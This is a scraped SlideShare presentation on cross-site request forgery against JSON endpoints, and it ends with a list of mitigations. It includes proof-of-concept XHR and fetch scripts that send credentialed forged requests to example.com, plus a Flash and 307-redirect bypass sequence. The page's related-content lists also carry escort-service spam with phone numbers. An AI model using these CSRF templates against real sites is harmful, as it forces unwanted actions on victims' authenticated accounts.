SlideShare a Scribd company logo
1 of 24
CSRF
Cross-site Request Forgery
( JSON Based )
Presented by – Amit Dubey
Table of Content
Sr No. Topic Page
1 Basic introduction 3
2 CSRF with JSON 10
3 Demo 18
4 Mitigation 22
5 Reference 23
6 Questions 24
Basic Introduction
• Cross-Site Request Forgery –
Attacker forces an victim to execute unwanted actions on a web application in which they're
currently authenticated.
- Its state changing attack not an data theft.
- Cookies are intrinsically vulnerable.
• JavaScript Object Notation –
Exchange of data between a browser and a server, the data can only be text.
- Any JavaScript object can be converted in to JSON and vice versa.
- JSON is lightweight, easy to understand and language independent.
{"name":"John","age":30,"city":"New York"}
• Same-Origin Policy –
It restricts how a document or script loaded from one origin can interact with a resource from
another origin. It is a critical security mechanism for isolating potentially malicious documents.
− Same origin if the protocol, port and host are the same
− Protects the confidentiality and integrity of information
• Cross Origin Resource Sharing–
Is a mechanism that uses additional HTTP headers to let a user agent gain permission to access
selected resources from a server on a different origin.
- Bypasses SOP.
- Access image, script, CSS and lot more.
• Flash and Crossdomain.xml–
Flash files can contain video, animations, sound and interactive content written in ActionScript
which are designed for efficient delivery over the web. It can be viewed in a web browser using
the Flash plug in.
- Extension for flash file is SWF stands for Small Web Format.
• Crossdomain.xml file is a cross-domain policy file that grants flash players to access the
resources other than it is hosted on.Here we can see that amazon.com server only allows
flash files from certain domains to access its resources.
• XMLHttpRequest and Fetch API–
Its an API that can be used scripting languages to transfer and manipulate XML data to and
from a webserver using HTTP, establishing an independent connection channel between a
webpage's Client-Side and Server-Side.
- You can retrieve data from a URL without having to do a full page refresh.
- This enables a Web page to update just part of a page without disrupting what the user is
doing.
- The Fetch API provides an interface for fetching resources. It is similar to XHR, but the new API
provides a more powerful and flexible feature set.
fetch(‘/get_data.php’, {
method: 'post',
headers: {"Content-type": "application/x-www-formurlencoded; charset=UTF-8"},
body: 'foo=bar&lorem=ipsum’
})
.then(json)
.then(function (data) { console.log('Request succeeded with JSON response', data); })
.catch(function (error) {
console.log('Request failed', error);
});
var http = new XMLHttpRequest();
var url = “/get_data.php";
var params = "foo=bar&lorem=ipsum ";
http.open("POST", url, true);
http.setRequestHeader("Content-type", " application/x-www-formurlencoded; charset=UTF-8 ");
http.onreadystatechange = function()
{
if(http.readyState == 4 && http.status == 200)
{ alert(http.responseText); }
}
http.send(params);
CSRF with JSON
• Why normal CSRF POC wont work ?
This technique may fail in some cases when the server side JSON parsers reject the incoming JSON because of the
trailing ‘=’ character.
• CASE: 1
- Bypassing trailing equal to sign by ignore_me parameter.
These may only help, if the application allows to smuggle in extra parameter into the request or application not
validating Content-type.
• CASE: 2
- If extra padded parameter not allowed then using XHR or FETCH to generate CSRF POC.
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://example.com/", true);
xhr.setRequestHeader("Accept", "application/json");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.withCredentials = true;
var body = '{"name":"attacker","email":"attacker.com"}’;
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
- CSRF POC generated using Fetch API.
<script>
fetch('http://example.com’,
{method: 'POST', credentials: 'include’,
headers: {'Content-Type': ‘application/json’},
body: '{"name":"attacker","email":"attacker.com"}’
});
</script>
- Content –type is application/json.
- Browser send pre-flight request to verify.
- Browser sends pre-flight request to verify.
- Origin is set to attacker’s site
- Server reject further request
• CASE: 3
- If application is validating the Content-type and data format, this attack can be achieved
using flash , Crossdomain.xml and 307 redirect.
PHP and Crossdomain.xml file hosted on attacker’s site
• Step by step process –
- Steps :
1) Authenticated user loads the attacker web page
containing malicious Flash file
2) Flash file made an XMLHttpRequest to attackers domain,
before doing that, the browser checks whether attacker
domain allows flash requests via crossdomain.xml file.
3) Victim browser then made an actual post request to
attacker’s domain, with post data that needs to send to
the vulnerable domain.
4) The attacker sends response with 307 redirect, which
means send POST data to the value of location header.
5) The victim browser then sends actual POST request
containing attacker’s payload to the vulnerable domain
with necessary headers.
Mitigation
1. Synchronizer (i.e.,CSRF) Tokens (requires session state)
2. Double Cookie Defence
3. Encrypted Token Pattern
4. Custom Header - e.g., X-Requested-With: XMLHttpRequest
• The following are some examples of challenge-response options:
1. Re-Authentication (password or stronger)
2. One-time Token
3. CAPTCHA
References
1. https://www.owasp.org/index.php/Cross-
Site_Request_Forgery_(CSRF)
2. https://www.owasp.org/index.php/Cross-
Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
3. http://resources.infosecinstitute.com/bypassing-csrf-protections-
fun-profit/#gref
4. https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-
forgery-csrf-using-flash/
5. http://research.rootme.in/forging-content-type-header-with-flash
Questions ?
Thank you

More Related Content

What's hot

Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Ikhade Maro Igbape
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Barrel Software
 
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Daniel Tumser
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defensesMohammed A. Imran
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharSandeep Kumbhar
 
A8 cross site request forgery (csrf) it 6873 presentation
A8 cross site request forgery (csrf)   it 6873 presentationA8 cross site request forgery (csrf)   it 6873 presentation
A8 cross site request forgery (csrf) it 6873 presentationAlbena Asenova-Belal
 
Attack and Mitigation for Insecure Deserialization
Attack and Mitigation for Insecure DeserializationAttack and Mitigation for Insecure Deserialization
Attack and Mitigation for Insecure DeserializationSukhpreet Singh
 
Web application security
Web application securityWeb application security
Web application securityKapil Sharma
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Nabin Dutta
 
Introduction to path traversal attack
Introduction to path traversal attackIntroduction to path traversal attack
Introduction to path traversal attackPrashant Hegde
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingInMobi Technology
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting GuideDaisuke_Dan
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)
Unrestricted file upload CWE-434 -  Adam Nurudini (ISACA)Unrestricted file upload CWE-434 -  Adam Nurudini (ISACA)
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)Adam Nurudini
 

What's hot (20)

Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 
CSRF Basics
CSRF BasicsCSRF Basics
CSRF Basics
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
 
Xss attack
Xss attackXss attack
Xss attack
 
A8 cross site request forgery (csrf) it 6873 presentation
A8 cross site request forgery (csrf)   it 6873 presentationA8 cross site request forgery (csrf)   it 6873 presentation
A8 cross site request forgery (csrf) it 6873 presentation
 
Attack and Mitigation for Insecure Deserialization
Attack and Mitigation for Insecure DeserializationAttack and Mitigation for Insecure Deserialization
Attack and Mitigation for Insecure Deserialization
 
Sql injection
Sql injectionSql injection
Sql injection
 
Web application security
Web application securityWeb application security
Web application security
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)
 
Introduction to path traversal attack
Introduction to path traversal attackIntroduction to path traversal attack
Introduction to path traversal attack
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
 
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)
Unrestricted file upload CWE-434 -  Adam Nurudini (ISACA)Unrestricted file upload CWE-434 -  Adam Nurudini (ISACA)
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)
 
Security in NodeJS applications
Security in NodeJS applicationsSecurity in NodeJS applications
Security in NodeJS applications
 
SSRF workshop
SSRF workshop SSRF workshop
SSRF workshop
 

Similar to CSRF Mitigation (JSON

Consuming RESTful Web services in PHP
Consuming RESTful Web services in PHPConsuming RESTful Web services in PHP
Consuming RESTful Web services in PHPZoran Jeremic
 
Consuming RESTful services in PHP
Consuming RESTful services in PHPConsuming RESTful services in PHP
Consuming RESTful services in PHPZoran Jeremic
 
JavaScript Security: Mastering Cross Domain Communications in complex JS appl...
JavaScript Security: Mastering Cross Domain Communications in complex JS appl...JavaScript Security: Mastering Cross Domain Communications in complex JS appl...
JavaScript Security: Mastering Cross Domain Communications in complex JS appl...Thomas Witt
 
Cross Origin Resource Sharing (CORS) - Azizul Hakim
Cross Origin Resource Sharing (CORS) - Azizul HakimCross Origin Resource Sharing (CORS) - Azizul Hakim
Cross Origin Resource Sharing (CORS) - Azizul HakimCefalo
 
WEB TECHNOLOGY Unit-5.pptx
WEB TECHNOLOGY Unit-5.pptxWEB TECHNOLOGY Unit-5.pptx
WEB TECHNOLOGY Unit-5.pptxkarthiksmart21
 
CONFidence 2014: Kiss, Zagon, Sseller: Scaling security
CONFidence 2014: Kiss, Zagon, Sseller: Scaling securityCONFidence 2014: Kiss, Zagon, Sseller: Scaling security
CONFidence 2014: Kiss, Zagon, Sseller: Scaling securityPROIDEA
 
Unit-5.pptx
Unit-5.pptxUnit-5.pptx
Unit-5.pptxitzkuu01
 
Message in a Bottle
Message in a BottleMessage in a Bottle
Message in a BottleZohar Arad
 
The introduction of RESTful
The introduction of RESTful The introduction of RESTful
The introduction of RESTful Jon Chen
 
Browser security
Browser securityBrowser security
Browser securityUday Anand
 
Java Script Based Client Server Webapps 2
Java Script Based Client Server Webapps 2Java Script Based Client Server Webapps 2
Java Script Based Client Server Webapps 2kriszyp
 
Browser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyBrowser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyKrishna T
 

Similar to CSRF Mitigation (JSON (20)

Consuming RESTful Web services in PHP
Consuming RESTful Web services in PHPConsuming RESTful Web services in PHP
Consuming RESTful Web services in PHP
 
Consuming RESTful services in PHP
Consuming RESTful services in PHPConsuming RESTful services in PHP
Consuming RESTful services in PHP
 
JavaScript Security: Mastering Cross Domain Communications in complex JS appl...
JavaScript Security: Mastering Cross Domain Communications in complex JS appl...JavaScript Security: Mastering Cross Domain Communications in complex JS appl...
JavaScript Security: Mastering Cross Domain Communications in complex JS appl...
 
Cross Origin Resource Sharing (CORS) - Azizul Hakim
Cross Origin Resource Sharing (CORS) - Azizul HakimCross Origin Resource Sharing (CORS) - Azizul Hakim
Cross Origin Resource Sharing (CORS) - Azizul Hakim
 
WEB TECHNOLOGY Unit-5.pptx
WEB TECHNOLOGY Unit-5.pptxWEB TECHNOLOGY Unit-5.pptx
WEB TECHNOLOGY Unit-5.pptx
 
CONFidence 2014: Kiss, Zagon, Sseller: Scaling security
CONFidence 2014: Kiss, Zagon, Sseller: Scaling securityCONFidence 2014: Kiss, Zagon, Sseller: Scaling security
CONFidence 2014: Kiss, Zagon, Sseller: Scaling security
 
Unit-5.pptx
Unit-5.pptxUnit-5.pptx
Unit-5.pptx
 
Message in a Bottle
Message in a BottleMessage in a Bottle
Message in a Bottle
 
Web Service
Web ServiceWeb Service
Web Service
 
Ajax
AjaxAjax
Ajax
 
ReSTful API Final
ReSTful API FinalReSTful API Final
ReSTful API Final
 
The introduction of RESTful
The introduction of RESTful The introduction of RESTful
The introduction of RESTful
 
Browser Security
Browser SecurityBrowser Security
Browser Security
 
Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
 
Browser security
Browser securityBrowser security
Browser security
 
SCDJWS 6. REST JAX-P
SCDJWS 6. REST  JAX-PSCDJWS 6. REST  JAX-P
SCDJWS 6. REST JAX-P
 
Java Script Based Client Server Webapps 2
Java Script Based Client Server Webapps 2Java Script Based Client Server Webapps 2
Java Script Based Client Server Webapps 2
 
Browser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyBrowser Internals-Same Origin Policy
Browser Internals-Same Origin Policy
 
Switch to Backend 2023
Switch to Backend 2023Switch to Backend 2023
Switch to Backend 2023
 
Ajax
AjaxAjax
Ajax
 

Recently uploaded

Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesSinan KOZAK
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024Results
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsRoshan Dwivedi
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Igalia
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...gurkirankumar98700
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
Developing An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of BrazilDeveloping An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of BrazilV3cube
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slidevu2urc
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Enterprise Knowledge
 

Recently uploaded (20)

Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen Frames
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
Developing An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of BrazilDeveloping An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of Brazil
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 

CSRF Mitigation (JSON

  • 1. CSRF Cross-site Request Forgery ( JSON Based ) Presented by – Amit Dubey
  • 2. Table of Content Sr No. Topic Page 1 Basic introduction 3 2 CSRF with JSON 10 3 Demo 18 4 Mitigation 22 5 Reference 23 6 Questions 24
  • 3. Basic Introduction • Cross-Site Request Forgery – Attacker forces an victim to execute unwanted actions on a web application in which they're currently authenticated. - Its state changing attack not an data theft. - Cookies are intrinsically vulnerable. • JavaScript Object Notation – Exchange of data between a browser and a server, the data can only be text. - Any JavaScript object can be converted in to JSON and vice versa. - JSON is lightweight, easy to understand and language independent. {"name":"John","age":30,"city":"New York"}
  • 4.
  • 5. • Same-Origin Policy – It restricts how a document or script loaded from one origin can interact with a resource from another origin. It is a critical security mechanism for isolating potentially malicious documents. − Same origin if the protocol, port and host are the same − Protects the confidentiality and integrity of information
  • 6. • Cross Origin Resource Sharing– Is a mechanism that uses additional HTTP headers to let a user agent gain permission to access selected resources from a server on a different origin. - Bypasses SOP. - Access image, script, CSS and lot more.
  • 7. • Flash and Crossdomain.xml– Flash files can contain video, animations, sound and interactive content written in ActionScript which are designed for efficient delivery over the web. It can be viewed in a web browser using the Flash plug in. - Extension for flash file is SWF stands for Small Web Format. • Crossdomain.xml file is a cross-domain policy file that grants flash players to access the resources other than it is hosted on.Here we can see that amazon.com server only allows flash files from certain domains to access its resources.
  • 8. • XMLHttpRequest and Fetch API– Its an API that can be used scripting languages to transfer and manipulate XML data to and from a webserver using HTTP, establishing an independent connection channel between a webpage's Client-Side and Server-Side. - You can retrieve data from a URL without having to do a full page refresh. - This enables a Web page to update just part of a page without disrupting what the user is doing. - The Fetch API provides an interface for fetching resources. It is similar to XHR, but the new API provides a more powerful and flexible feature set.
  • 9. fetch(‘/get_data.php’, { method: 'post', headers: {"Content-type": "application/x-www-formurlencoded; charset=UTF-8"}, body: 'foo=bar&lorem=ipsum’ }) .then(json) .then(function (data) { console.log('Request succeeded with JSON response', data); }) .catch(function (error) { console.log('Request failed', error); }); var http = new XMLHttpRequest(); var url = “/get_data.php"; var params = "foo=bar&lorem=ipsum "; http.open("POST", url, true); http.setRequestHeader("Content-type", " application/x-www-formurlencoded; charset=UTF-8 "); http.onreadystatechange = function() { if(http.readyState == 4 && http.status == 200) { alert(http.responseText); } } http.send(params);
  • 10. CSRF with JSON • Why normal CSRF POC wont work ?
  • 11.
  • 12. This technique may fail in some cases when the server side JSON parsers reject the incoming JSON because of the trailing ‘=’ character.
  • 13. • CASE: 1 - Bypassing trailing equal to sign by ignore_me parameter.
  • 14. These may only help, if the application allows to smuggle in extra parameter into the request or application not validating Content-type.
  • 15. • CASE: 2 - If extra padded parameter not allowed then using XHR or FETCH to generate CSRF POC. function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https://example.com/", true); xhr.setRequestHeader("Accept", "application/json"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "text/plain"); xhr.withCredentials = true; var body = '{"name":"attacker","email":"attacker.com"}’; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); }
  • 16. - CSRF POC generated using Fetch API. <script> fetch('http://example.com’, {method: 'POST', credentials: 'include’, headers: {'Content-Type': ‘application/json’}, body: '{"name":"attacker","email":"attacker.com"}’ }); </script> - Content –type is application/json. - Browser send pre-flight request to verify.
  • 17. - Browser sends pre-flight request to verify. - Origin is set to attacker’s site - Server reject further request
  • 18. • CASE: 3 - If application is validating the Content-type and data format, this attack can be achieved using flash , Crossdomain.xml and 307 redirect.
  • 19. PHP and Crossdomain.xml file hosted on attacker’s site
  • 20. • Step by step process –
  • 21. - Steps : 1) Authenticated user loads the attacker web page containing malicious Flash file 2) Flash file made an XMLHttpRequest to attackers domain, before doing that, the browser checks whether attacker domain allows flash requests via crossdomain.xml file. 3) Victim browser then made an actual post request to attacker’s domain, with post data that needs to send to the vulnerable domain. 4) The attacker sends response with 307 redirect, which means send POST data to the value of location header. 5) The victim browser then sends actual POST request containing attacker’s payload to the vulnerable domain with necessary headers.
  • 22. Mitigation 1. Synchronizer (i.e.,CSRF) Tokens (requires session state) 2. Double Cookie Defence 3. Encrypted Token Pattern 4. Custom Header - e.g., X-Requested-With: XMLHttpRequest • The following are some examples of challenge-response options: 1. Re-Authentication (password or stronger) 2. One-time Token 3. CAPTCHA
  • 23. References 1. https://www.owasp.org/index.php/Cross- Site_Request_Forgery_(CSRF) 2. https://www.owasp.org/index.php/Cross- Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet 3. http://resources.infosecinstitute.com/bypassing-csrf-protections- fun-profit/#gref 4. https://www.geekboy.ninja/blog/exploiting-json-cross-site-request- forgery-csrf-using-flash/ 5. http://research.rootme.in/forging-content-type-header-with-flash